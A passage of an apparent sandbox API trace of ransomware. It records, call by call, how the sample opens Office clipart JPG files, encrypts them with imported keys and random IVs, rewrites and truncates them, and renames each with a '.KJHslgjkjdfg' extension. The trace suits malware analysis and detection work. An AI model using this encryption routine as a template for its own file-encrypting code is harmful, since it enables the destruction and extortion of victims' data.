Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.981] GetProcessHeap () returned 0x2a0000 [0177.981] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.981] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.982] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0177.984] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.984] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.984] GetProcessHeap () returned 0x2a0000 [0177.984] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.984] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.984] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.984] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.984] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.984] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.984] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.985] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.985] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.985] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x67a3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x67a3, lpOverlapped=0x0) returned 1 [0177.986] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x67b0, dwBufLen=0x67b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x67b0) returned 1 [0177.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.987] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x67b0, lpOverlapped=0x0) returned 1 [0177.987] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.987] SetEndOfFile (hFile=0x114) returned 1 [0177.990] GetProcessHeap () returned 0x2a0000 [0177.990] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.990] GetProcessHeap () returned 0x2a0000 [0177.990] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.kjhslgjkjdfg")) returned 1 [0177.991] CloseHandle (hObject=0x114) returned 1 [0177.991] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1 [0177.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.993] GetProcessHeap () returned 0x2a0000 [0177.993] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.993] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.994] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0177.998] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.998] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.998] GetProcessHeap () returned 0x2a0000 [0177.998] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.998] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.998] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.998] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.999] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.999] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.999] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.999] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.999] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.999] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.999] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.999] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5de2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5de2, lpOverlapped=0x0) returned 1 [0178.000] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5df0, dwBufLen=0x5df0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5df0) returned 1 [0178.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.001] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5df0, lpOverlapped=0x0) returned 1 [0178.001] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.001] SetEndOfFile (hFile=0x114) returned 1 [0178.004] GetProcessHeap () returned 0x2a0000 [0178.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.004] GetProcessHeap () returned 0x2a0000 [0178.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.004] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.kjhslgjkjdfg")) returned 1 [0178.005] CloseHandle (hObject=0x114) returned 1 [0178.005] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1 [0178.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.007] GetProcessHeap () returned 0x2a0000 [0178.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.007] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.007] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.007] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0178.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.010] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.010] GetProcessHeap () returned 0x2a0000 [0178.010] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.010] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.010] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.010] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.011] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.011] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.011] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b2a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5b2a, lpOverlapped=0x0) returned 1 [0178.012] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b30, dwBufLen=0x5b30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b30) returned 1 [0178.012] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.012] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5b30, lpOverlapped=0x0) returned 1 [0178.013] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.013] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.013] SetEndOfFile (hFile=0x114) returned 1 [0178.015] GetProcessHeap () returned 0x2a0000 [0178.015] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.015] GetProcessHeap () returned 0x2a0000 [0178.016] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.016] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.kjhslgjkjdfg")) returned 1 [0178.017] CloseHandle (hObject=0x114) returned 1 [0178.017] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1 [0178.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.018] GetProcessHeap () returned 0x2a0000 [0178.018] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.018] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.018] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0178.022] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.022] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.022] GetProcessHeap () returned 0x2a0000 [0178.022] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.022] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.022] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.022] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.022] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.022] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.022] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.022] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.022] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.023] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.023] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.023] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7d26, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7d26, lpOverlapped=0x0) returned 1 [0178.026] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7d30, dwBufLen=0x7d30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7d30) returned 1 [0178.026] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.026] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7d30, lpOverlapped=0x0) returned 1 [0178.027] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.027] SetEndOfFile (hFile=0x114) returned 1 [0178.029] GetProcessHeap () returned 0x2a0000 [0178.030] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.030] GetProcessHeap () returned 0x2a0000 [0178.030] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.kjhslgjkjdfg")) returned 1 [0178.031] CloseHandle (hObject=0x114) returned 1 [0178.031] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1 [0178.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.035] GetProcessHeap () returned 0x2a0000 [0178.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.035] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.035] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.035] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.041] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.041] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.042] GetProcessHeap () returned 0x2a0000 [0178.042] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.042] CryptEncrypt (in: hKey=0x2c63a0, 